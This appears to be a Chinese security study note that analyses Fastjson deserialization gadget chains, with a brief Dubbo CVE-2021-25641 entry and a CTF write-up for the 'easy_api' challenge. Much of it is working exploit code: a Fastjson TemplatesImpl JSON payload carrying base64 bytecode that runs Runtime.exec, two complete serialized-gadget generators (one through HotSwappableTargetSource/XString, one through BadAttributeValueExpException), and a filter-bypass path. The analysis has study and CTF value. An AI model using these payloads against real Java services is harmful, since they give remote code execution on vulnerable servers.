Fastjson之任意get、set调用
get、set
在这以TemplatesImpl链来讲:
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
public class Demo { public static void main(String[] args) { String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"yv66vgAAADQAOwoACQAqCgArACwIAC0KACsALgcALwcAMAoABgAxBwAyBwAzAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2V4YW1wbGUvZmFzdGpzb25fdG9zdHJpbmcvZXZpbGNsYXNzOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBABBNZXRob2RQYXJhbWV0ZXJzAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHADQBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAC8BAApTb3VyY2VGaWxlAQAOZXZpbGNsYXNzLmphdmEMAAoACwcANQwANgA3AQAEY2FsYwwAOAA5AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADoBACdjb20vZXhhbXBsZS9mYXN0anNvbl90b3N0cmluZy9ldmlsY2xhc3MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAABQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAsADgAAAAwAAQAAAAUADwAQAAAACQARABIAAgAMAAAAKwAAAAEAAAABsQAAAAIADQAAAAYAAQAAABYADgAAAAwAAQAAAAEAEwAUAAAAFQAAAAUBABMAAAABABYAFwADAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAAGwAOAAAAIAADAAAAAQAPABAAAAAAAAEAGAAZAAEAAAABABoAGwACABwAAAAEAAEAHQAVAAAACQIAGAAAABoAAAABABYAHgADAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAIAAOAAAAKgAEAAAAAQAPABAAAAAAAAEAGAAZAAEAAAABAB8AIAACAAAAAQAhACIAAwAcAAAABAABAB0AFQAAAA0DABgAAAAfAAAAIQAAAAgAIwALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAOAAkAEQAMAA8ADQAQABYAEgAOAAAADAABAA0ACQAkACUAAAAmAAAABwACTAcAJwkAAQAoAAAAAgAp\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}"; JSON.parseObject(payload, Feature.SupportNonPublicField); } }
|
其中的字节码base64加密过了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| package com.example.fastjson_tostring;
import java.io.ByteArrayOutputStream; import java.io.FileInputStream; import java.util.Base64;
public class Demo { public static void main(String[] args) { byte[] buffer = null; String filepath = "C:\\Users\\22927\\Downloads\\fastjson_tostring\\target\\classes\\com\\example\\fastjson_tostring\\evilclass.class"; try { FileInputStream fis = new FileInputStream(filepath); ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte[] b = new byte[1024]; int n; while((n = fis.read(b))!=-1) { bos.write(b,0,n); } fis.close(); bos.close(); buffer = bos.toByteArray(); }catch(Exception e) { e.printStackTrace(); } Base64.Encoder encoder = Base64.getEncoder(); String value = ((Base64.Encoder) encoder).encodeToString(buffer); System.out.println(value);
} }
|
在这里FastJson的版本为1.24,高了的话有waf,但也可以绕过,参考下P的文章
断点给在JSON.parseObject
:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677305618533-8896fba2-0c07-4bb9-9266-df1f1d5fb4fa.png#averageHue=%232a2c2a&clientId=u4b384332-f3fe-4&from=paste&height=536&id=u24238501&name=image.png&originHeight=670&originWidth=1340&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1219869&status=done&style=none&taskId=ud75775a5-6609-46d6-826c-dfa5dc2482b&title=&width=1072)
实际上也是调用了parse方法,做了一层强转封装,继续跟进:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677305657053-f02001e4-91c7-4027-b539-24afb79a084f.png#averageHue=%232c2d29&clientId=u4b384332-f3fe-4&from=paste&height=297&id=u2f0f5896&name=image.png&originHeight=371&originWidth=1440&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=748921&status=done&style=none&taskId=u6f4674d9-2d07-466e-9171-a4f222565d7&title=&width=1152)
还是进了parse,继续跟:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677305716172-ce09f9af-c614-459e-a1fd-fb8cfdce8a9e.png#averageHue=%232a2c29&clientId=u4b384332-f3fe-4&from=paste&height=565&id=u5f2db98c&name=image.png&originHeight=706&originWidth=1463&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1378189&status=done&style=none&taskId=ue6698ed8-73d0-40bc-9957-7bbce41fa7d&title=&width=1170.4)
还是一个parse,从这里可以发现parseObject方法实际就是parse的封装,这里的parser是DeafaultJsonParser
:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677305740199-3ce707a2-16e5-4ac6-afda-62df9297c48e.png#averageHue=%232c2c29&clientId=u4b384332-f3fe-4&from=paste&height=144&id=u3595b2cd&name=image.png&originHeight=180&originWidth=1424&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=342128&status=done&style=none&taskId=u76621d86-d168-46f6-9ee5-d0df624caa9&title=&width=1139.2)
继续跟进:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677305818149-6f489257-10d3-47b2-b315-20c6c49e487e.png#averageHue=%232a2c2a&clientId=u4b384332-f3fe-4&from=paste&height=651&id=u787b3073&name=image.png&originHeight=814&originWidth=1460&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1587198&status=done&style=none&taskId=u1094a1e7-8e6e-4aa7-bbb7-d8e29e5bbae&title=&width=1168)
因为token是12所以进入了case12,调用了this.parseObject
,在该方法中将key提取出:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677305947563-69f51c65-49c4-42a8-94ac-840d677a7f08.png#averageHue=%23292a29&clientId=u4b384332-f3fe-4&from=paste&height=513&id=u61b2480c&name=image.png&originHeight=641&originWidth=1472&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1255275&status=done&style=none&taskId=uc8335de4-486f-46ac-9fc7-f3e9cff4b98&title=&width=1177.6)
然后加载恶意类:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677306068614-0c820a09-9ea3-487e-bc51-15ebf0693239.png#averageHue=%232a2b28&clientId=u4b384332-f3fe-4&from=paste&height=465&id=ubca85df0&name=image.png&originHeight=581&originWidth=1500&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1204344&status=done&style=none&taskId=ufd6c05d8-fa7c-4149-87aa-c35b2c405ed&title=&width=1200)
跟进loadClass,这里就是将恶意class放入mapping中
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677306232085-22872c10-641d-47ca-a166-63aecc392e5d.png#averageHue=%23292b29&clientId=u4b384332-f3fe-4&from=paste&height=539&id=u03c11a2a&name=image.png&originHeight=674&originWidth=1560&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1390145&status=done&style=none&taskId=u0107dc17-62d5-4b56-acde-03ca0e19c15&title=&width=1248)
然后回到DeafaultJsonParser,调用getDeserializer
将恶意类进行JSON反序列化:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677306909496-1c210917-47f3-4d7d-b41e-a9cf0db4f004.png#averageHue=%23292b29&clientId=u4b384332-f3fe-4&from=paste&height=525&id=u8741b068&name=image.png&originHeight=656&originWidth=1541&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1354762&status=done&style=none&taskId=u5b8e7154-ed8a-41c5-917c-480187a00c8&title=&width=1232.8)
然后跟进该方法,到了PaserConfig类,调用了该类的getDeserialzier:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677306956545-b4443750-e870-4d79-8dfe-a88a5d673a8c.png#averageHue=%232a2c28&clientId=u4b384332-f3fe-4&from=paste&height=283&id=u2d5959ac&name=image.png&originHeight=354&originWidth=1331&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=674450&status=done&style=none&taskId=ub38402b2-6227-40f6-b774-541f284258c&title=&width=1064.8)
在里面创建了个JavaBeanDeserializer:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677306983256-dd3ece05-9c63-4460-bb48-3b65e7c1649f.png#averageHue=%23292a26&clientId=u4b384332-f3fe-4&from=paste&height=140&id=u89a5d308&name=image.png&originHeight=175&originWidth=1243&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=307924&status=done&style=none&taskId=udefd3cac-a109-45c5-9188-5e94630d38f&title=&width=994.4)
在这个方法中调用了JavaBeanDeserializer的构造方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307007833-a55d9265-ad62-4e06-8baf-4e049ab288b9.png#averageHue=%23323430&clientId=u4b384332-f3fe-4&from=paste&height=104&id=u5c6d2549&name=image.png&originHeight=130&originWidth=928&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=176202&status=done&style=none&taskId=u22980674-60be-4979-80ff-eb243e57741&title=&width=742.4)
进入了JavaBean.build方法中:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307046891-e589101e-4326-4fdc-a7cc-966420ee86d2.png#averageHue=%232a2c2a&clientId=u4b384332-f3fe-4&from=paste&height=622&id=uc235dacb&name=image.png&originHeight=777&originWidth=1360&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1428203&status=done&style=none&taskId=ube527f3e-0ec3-4f73-9d6a-939b8d189a6&title=&width=1088)
在这里面寻找get和set方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307080258-06033924-a852-4d85-8418-5f9b13127ff8.png#averageHue=%232e302c&clientId=u4b384332-f3fe-4&from=paste&height=95&id=ue0ff8c5f&name=image.png&originHeight=119&originWidth=1178&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=199112&status=done&style=none&taskId=udd804857-7bed-42c0-9074-441da93e609&title=&width=942.4)
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307087275-9d774be5-e6cd-440b-8119-f72ca085a3a6.png#averageHue=%232d2e2a&clientId=u4b384332-f3fe-4&from=paste&height=126&id=u67b6cf1d&name=image.png&originHeight=157&originWidth=1267&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=279846&status=done&style=none&taskId=u5051de47-3925-42cd-9b68-55550c57d4c&title=&width=1013.6)
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307205250-7e12fc76-0967-4204-a538-0e5a83622d03.png#averageHue=%232a2c2a&clientId=u4b384332-f3fe-4&from=paste&height=482&id=uc22c179d&name=image.png&originHeight=603&originWidth=1340&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1087287&status=done&style=none&taskId=u6bff512c-f62d-403c-a424-3364bd3085f&title=&width=1072)
可以看到调用了getOutputProperties,接下来就是一个TemplatesImpl字节码加载了
get
准备一个pojo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package com.example.fastjson_tostring;
public class User { private String name; private String address;
public String getName() { System.out.println("getName"); return name; }
public void setName(String name) { System.out.println("setName"); this.name = name; } }
|
1 2 3 4 5 6 7 8 9 10 11
| package com.example.fastjson_tostring;
import com.alibaba.fastjson.JSON;
public class getdemo { public static void main(String[] args) { User user=new User(); String JSON_Serialize = JSON.toJSONString(user); System.out.println(JSON_Serialize); } }
|
直接运行会发现:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677308174450-b7ceadc5-f1ca-4ebb-a243-0791a2341fea.png#averageHue=%23232524&clientId=u4b384332-f3fe-4&from=paste&height=174&id=ue1db53de&name=image.png&originHeight=218&originWidth=946&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=273029&status=done&style=none&taskId=u7af720bb-c6ff-4f3c-8152-9002a9d58ab&title=&width=756.8)
调用了get方法,断点分析一下:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677308210304-fc3b4c2a-c06a-405c-8c2d-5807fe961a77.png#averageHue=%2330302c&clientId=u4b384332-f3fe-4&from=paste&height=98&id=u0ce288cf&name=image.png&originHeight=122&originWidth=839&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=148529&status=done&style=none&taskId=u933c053e-83ba-4296-a045-8dd64fbfff8&title=&width=671.2)
还是调用toJSONString
,继续跟进:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677308230855-8fb0cd74-2124-4ae3-a0b1-b2a70fdc9e09.png#averageHue=%232d2e2a&clientId=u4b384332-f3fe-4&from=paste&height=85&id=u3fea148e&name=image.png&originHeight=106&originWidth=1343&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=203770&status=done&style=none&taskId=u154aa097-9ac5-4eaa-86f3-338997257cc&title=&width=1074.4)
依然是一个toJSONString,和上面很像是一层层封装:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677308265446-131936d6-0841-4172-8e5c-60a11e6ff6b6.png#averageHue=%23282a28&clientId=u4b384332-f3fe-4&from=paste&height=111&id=u019d0160&name=image.png&originHeight=139&originWidth=1280&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=236219&status=done&style=none&taskId=u6dcbc0ac-8afc-40a5-89d7-5c1c69fb973&title=&width=1024)
最后在该toJSONString方法中调用了serializer.write
方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677308305217-609023da-b673-4fdd-8137-9aed60f4eb1f.png#averageHue=%23292b2a&clientId=u4b384332-f3fe-4&from=paste&height=437&id=u666f151d&name=image.png&originHeight=546&originWidth=1490&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1076676&status=done&style=none&taskId=ub49f1518-70eb-44ce-8601-c577164e208&title=&width=1192)
调用writer.write方法,这里的writer是ASMSerializer_User,一个和User有关的类,继续跟进:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677308441818-ea1451be-976a-4999-b113-a8147a206c2b.png#averageHue=%232a2b29&clientId=u4b384332-f3fe-4&from=paste&height=568&id=ubaf5610d&name=image.png&originHeight=710&originWidth=1901&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1793212&status=done&style=none&taskId=u939dbc04-9b1f-45b8-b8db-f605610fddc&title=&width=1520.8)
就到了getName方法了,这里的逻辑无法查看QWQ,ASMSerializer_User调试看不到,只要知道会调就好了
set
对应的是JSON.parse方法,逻辑类似就不调试了
FastJson反序列化链
- TemplatesImpl链
- JdbcRowSetImpl链子
其中第一条更偏向于CC链,第二条就纯纯是JNDI注入了
https://tttang.com/archive/1579/#toc_
https://xz.aliyun.com/t/12096#toc-3
Dubbo Kryo/FST反序列化漏洞(CVE-2021-25641)
漏洞原理
Dubbo Provider即服务提供方默认使用dubbo协议来进行RPC通信,而dubbo协议默认是使用Hessian2序列化格式进行对象传输的,但是针对Hessian2序列化格式的对象传输可能会有黑白名单设置的限制,参考:https://github.com/apache/dubbo/pull/6378
针对这种场景,攻击者可以通过更改dubbo协议的第三个flag位字节来更改为使用Kryo或FST序列化格式来进行Dubbo Provider反序列化攻击从而绕过针对Hessian2反序列化相关的限制来达到RCE。
影响版本
- Dubbo 2.7.0 to 2.7.8
- Dubbo 2.6.0 to 2.6.9
- Dubbo all 2.5.x versions (not supported by official team any longer)
POC
https://github.com/Dor-Tumarkin/CVE-2021-25641-Proof-of-Concept/blob/main/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java
原理
不调试的原因
就是你跟着文章看完了你也就大概懂了一半了,加入单纯为了学习就看看就好了
FastJson toString链
西湖论剑2023[easy_api]
分析
根据这道题来学习一下这条链,首先可以看一下这一题的主要路由
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677295450910-f5b018cb-6a6d-40df-a024-265483376823.png#averageHue=%23292a26&clientId=u7d14138f-7a5c-4&from=paste&height=445&id=u0305a62b&name=image.png&originHeight=556&originWidth=1669&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1338858&status=done&style=none&taskId=u2d51331d-8e58-4546-af76-ebd10d883db&title=&width=1335.2)
在这直接进行了一个反序列化,参数可控,但首先有几层bypass:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677295480581-b263f6e5-fec8-4eda-97de-e9b0ce5e16d7.png#averageHue=%23282a26&clientId=u7d14138f-7a5c-4&from=paste&height=525&id=u27dff5d0&name=image.png&originHeight=656&originWidth=1355&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1219809&status=done&style=none&taskId=uac7a134e-dd27-4788-b74b-7b77177c676&title=&width=1084)
先要绕过这两filter,用//api/test
去绕过就可以,重点不在这,题目用的是CustomObjectInputStream
进行的反序列化,可以看看逻辑:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677295531645-c3b6f090-e1d5-466e-a637-e2f09af67215.png#averageHue=%23252724&clientId=u7d14138f-7a5c-4&from=paste&height=558&id=u921c9c5c&name=image.png&originHeight=697&originWidth=1379&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1300979&status=done&style=none&taskId=ue04dcbea-8c71-4bd7-9c1a-60652d802a4&title=&width=1103.2)
做了一层过滤,不允许我们使用java.lang.reflect.Proxy", "javax.management.BadAttributeValueExpException", "sun.rmi.server.UnicastRef", "sun.rmi.transport.LiveRef", "sun.rmi.transport.tcp.TCPEndpoint", "java.rmi.server.RemoteObject", "java.rmi.server.RemoteRef", "java.rmi.server.ObjID", "java.rmi.RemoteObjectInvocationHandler", "java.rmi.server.UnicastRemoteObject", "java.rmi.registry.Registry
这几个类,可以看到BadAttributeValueExpException被ban了,今天要讲的是触发fastjson的tostring,BadAttributeValueExpException是可以触发的,因此需要寻找替代品
POC
就不多BB了,在上面的CVE中用到了使用xstring的方法去触发toString,我们直接拿poc来调试分析一下即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import org.springframework.aop.target.HotSwappableTargetSource; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; public class fj_gadget { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl(); byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\CTF\\Security_Learning\\ROME\\target\\classes\\shell.class")); setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl()); JSONObject jo = new JSONObject(); jo.put("1",templatesimpl); HotSwappableTargetSource h1 = new HotSwappableTargetSource(jo);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object()); HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(h1,h1); hashMap.put(h2,h2); Class clazz=h2.getClass(); Field transformerdeclaredField = clazz.getDeclaredField("target"); transformerdeclaredField.setAccessible(true); transformerdeclaredField.set(h2,new XString("xxx")); System.out.println(serial(hashMap)); String payload = "..."; } public static String serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; } public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); CustomObjectInputStream ois = new CustomObjectInputStream(bais); ois.readObject(); ois.close(); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
调试流程
这里就本地直接起一个SpringBoot将主要路由逻辑拿过来就好了,就不加Filter,先引入依赖:
1 2 3 4 5
| <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.48</version> </dependency>
|
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677296428860-536b4f6b-e461-404d-a45a-ea826d5e058a.png#averageHue=%232a2c29&clientId=u4b384332-f3fe-4&from=paste&height=567&id=ud6f8e2e7&name=image.png&originHeight=709&originWidth=1746&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1775558&status=done&style=none&taskId=u6f73b02b-9761-4633-b269-0722539d63e&title=&width=1396.8)
在readObject处下断点分析:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677296852780-a097dfef-9274-4cad-b038-84d957fc9298.png#averageHue=%232b2c2a&clientId=u4b384332-f3fe-4&from=paste&height=338&id=u62e8d936&name=image.png&originHeight=423&originWidth=1880&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1105331&status=done&style=none&taskId=u3a5baf7d-4d18-47ec-b0f2-da6e1af099b&title=&width=1504)
首先进入的HashMap的readObject方法,因为我们最外层就是hashmap:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307376957-8e0eb1d8-5728-430e-97e0-8eb411616e73.png#averageHue=%232d2e2a&clientId=u4b384332-f3fe-4&from=paste&height=158&id=u95d5024b&name=image.png&originHeight=198&originWidth=1454&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=414717&status=done&style=none&taskId=uebbfb2f8-2f6e-4bd5-9c2e-22500d4c964&title=&width=1163.2)
然后就和URLDNS链一样到了putval函数:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307394369-41f2ca32-5e28-41a3-a3bf-7783a928aed6.png#averageHue=%232a2b28&clientId=u4b384332-f3fe-4&from=paste&height=84&id=ufceb67d2&name=image.png&originHeight=105&originWidth=1423&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=214004&status=done&style=none&taskId=u860f1734-f360-4d6e-a00d-f8650cc6ed9&title=&width=1138.4)
在putval函数中调用了equals方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307437816-8c2e2806-3f64-4f09-83f0-b5034b4efde6.png#averageHue=%232b2d2b&clientId=u4b384332-f3fe-4&from=paste&height=707&id=u76b7841f&name=image.png&originHeight=884&originWidth=1422&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1727643&status=done&style=none&taskId=u38c0aa66-0888-46e3-912d-7713d136e1e&title=&width=1137.6)
这里的key是一个HotSwappableTargetSource
,这个类充当跳板作用,调用它的equals方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307489900-25bdce8c-efb7-44cd-a39c-64d2905538e4.png#averageHue=%23292b29&clientId=u4b384332-f3fe-4&from=paste&height=634&id=uba0a620a&name=image.png&originHeight=793&originWidth=1452&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1524844&status=done&style=none&taskId=ue3e4ba2b-f87e-42dc-8725-7a108ea13fd&title=&width=1161.6)
在调用它的target属性的equals方法,这里我们反射修改target为xstring方法了,跟进:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307518484-61301c19-5fdf-4405-9060-28fef30ed778.png#averageHue=%232a2d2a&clientId=u4b384332-f3fe-4&from=paste&height=399&id=u4889587e&name=image.png&originHeight=499&originWidth=1424&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=918395&status=done&style=none&taskId=u92b77292-bd12-4b28-8514-0a0e67de01c&title=&width=1139.2)
这里就调用了JsonObject的toString方法,这就是这篇文章的重点:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307606254-15e92aa3-1834-4184-88d7-5f03b6b281e9.png#averageHue=%2332332f&clientId=u4b384332-f3fe-4&from=paste&height=121&id=u6740aa2a&name=image.png&originHeight=151&originWidth=907&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=198842&status=done&style=none&taskId=u3635bb2a-394b-4ccb-803a-34ff3434833&title=&width=725.6)
这里调用了JsonObject#toJSONString
,到这儿就回到了第一P种的任意get和set触发了,这里会触发get方法,也就是TemplatesImpl的getOutputProperties
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677307855278-aa5a4f13-feae-46ca-8d84-a9da4f06f2e5.png#averageHue=%232c2d29&clientId=u4b384332-f3fe-4&from=paste&height=117&id=u1211e085&name=image.png&originHeight=146&originWidth=904&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=184762&status=done&style=none&taskId=uaee532fe-8a1f-421f-b3b3-8790dac8345&title=&width=723.2)
调用newTransformer,接下来就是CC3的部分了,不再赘述
无Waf的解法
如果这一题没有重写ObjectInputStream,没有禁用的话,那么除了上述解法,也能用BadAttriubutexxxx中的toString
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package com.example.fastjson_tostring;
import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import org.springframework.aop.target.HotSwappableTargetSource;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap;
public class exp { public static void main(String[] args) throws Exception { TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("C:\\Users\\22927\\Downloads\\fastjson_tostring\\target\\classes\\com\\example\\fastjson_tostring\\evilclass.class"));
setValue(templatesimpl,"_name","aaa"); setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes}); setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
JSONObject jo = new JSONObject(); jo.put("1",templatesimpl); BadAttributeValueExpException exp = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(exp,jo); System.out.println(serial(exp));
}
public static String serial(Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); CustomObjectInputStream ois = new CustomObjectInputStream(bais); ois.readObject(); ois.close(); }
public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
简短的多了,传入之后成功弹出计算机:
